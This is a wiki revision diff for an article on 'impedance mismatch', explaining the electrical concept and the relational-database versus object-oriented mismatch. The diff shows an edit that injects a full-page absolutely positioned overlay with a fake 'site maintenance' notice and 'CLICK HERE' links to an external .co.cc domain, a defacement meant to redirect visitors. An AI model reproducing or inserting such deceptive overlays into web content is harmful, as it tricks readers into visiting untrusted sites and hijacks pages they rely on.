Impedance mismatch
m |
|||
| Line 5: | Line 5: | ||
Using "impedance mismatch" for the troubles you get when you try to fit a relational DB with an OO application is merely an analogy (while the two phenomenons presented above are actually the _same_ at a basic level). "{{Ref|1}} | Using "impedance mismatch" for the troubles you get when you try to fit a relational DB with an OO application is merely an analogy (while the two phenomenons presented above are actually the _same_ at a basic level). "{{Ref|1}} | ||
| − | ==What it Means to Software== | + | >==What it Means to Software== |
Where two or more software boundaries intersect, the interfaces exposed by these boundaries may not interact cohesively. | Where two or more software boundaries intersect, the interfaces exposed by these boundaries may not interact cohesively. | ||
| Line 11: | Line 11: | ||
In general this maxim refers to the problem that occurs when connecting a relational database with an object oriented program. As the properties objects in the context of OO design are quite different to the representation that in used in the database, the transfer of data from one side of the connection to another can be problematic. One example is, if the granularity of the objects is too big or too small then data transfer is not as easy or efficient as it could be. | In general this maxim refers to the problem that occurs when connecting a relational database with an object oriented program. As the properties objects in the context of OO design are quite different to the representation that in used in the database, the transfer of data from one side of the connection to another can be problematic. One example is, if the granularity of the objects is too big or too small then data transfer is not as easy or efficient as it could be. | ||
| + | ---- | ||
| + | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
| + | ---- | ||
| + | =[http://emyrejivim.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]= | ||
| + | ---- | ||
| + | =[http://emyrejivim.co.cc CLICK HERE]= | ||
| + | ---- | ||
| + | </div> | ||
==External links== | ==External links== | ||
Revision as of 03:32, 18 November 2010
In electrical and electronic systems impedance is a property that is used to work out the amount of resistance over varying frequencies that components like capacitors and inductors create. An impedance mismatch infers an inefficient transfer of power. For time varying signals in an electrical or electronic system, an impedance mismatch can result in reflection of the signal back to the source - a potentially catastrophic situation. This commonly happens where two different types of cable are joined together. An impedance mismatch in software can have similar implications.
"In fact impedance is very similar to refraction index, the difference being that they are practically relevant in completely different frequency domains. An example of mismatch is: you look through a piece of glass (let's say you are admiring a new notebook in a store) and you see, vaguely, your face. This happens because air and glass have different refractive indexes so part of the light bounces back on the separation surface between air and glass. Exactly the same thing happens to signals when they cross from one type of cable (let's say 50ohms) to another type of cable (let's say 75 ohms).
Using "impedance mismatch" for the troubles you get when you try to fit a relational DB with an OO application is merely an analogy (while the two phenomenons presented above are actually the _same_ at a basic level). "[1]
>==What it Means to Software==
Where two or more software boundaries intersect, the interfaces exposed by these boundaries may not interact cohesively.
In general this maxim refers to the problem that occurs when connecting a relational database with an object oriented program. As the properties objects in the context of OO design are quite different to the representation that in used in the database, the transfer of data from one side of the connection to another can be problematic. One example is, if the granularity of the objects is too big or too small then data transfer is not as easy or efficient as it could be.
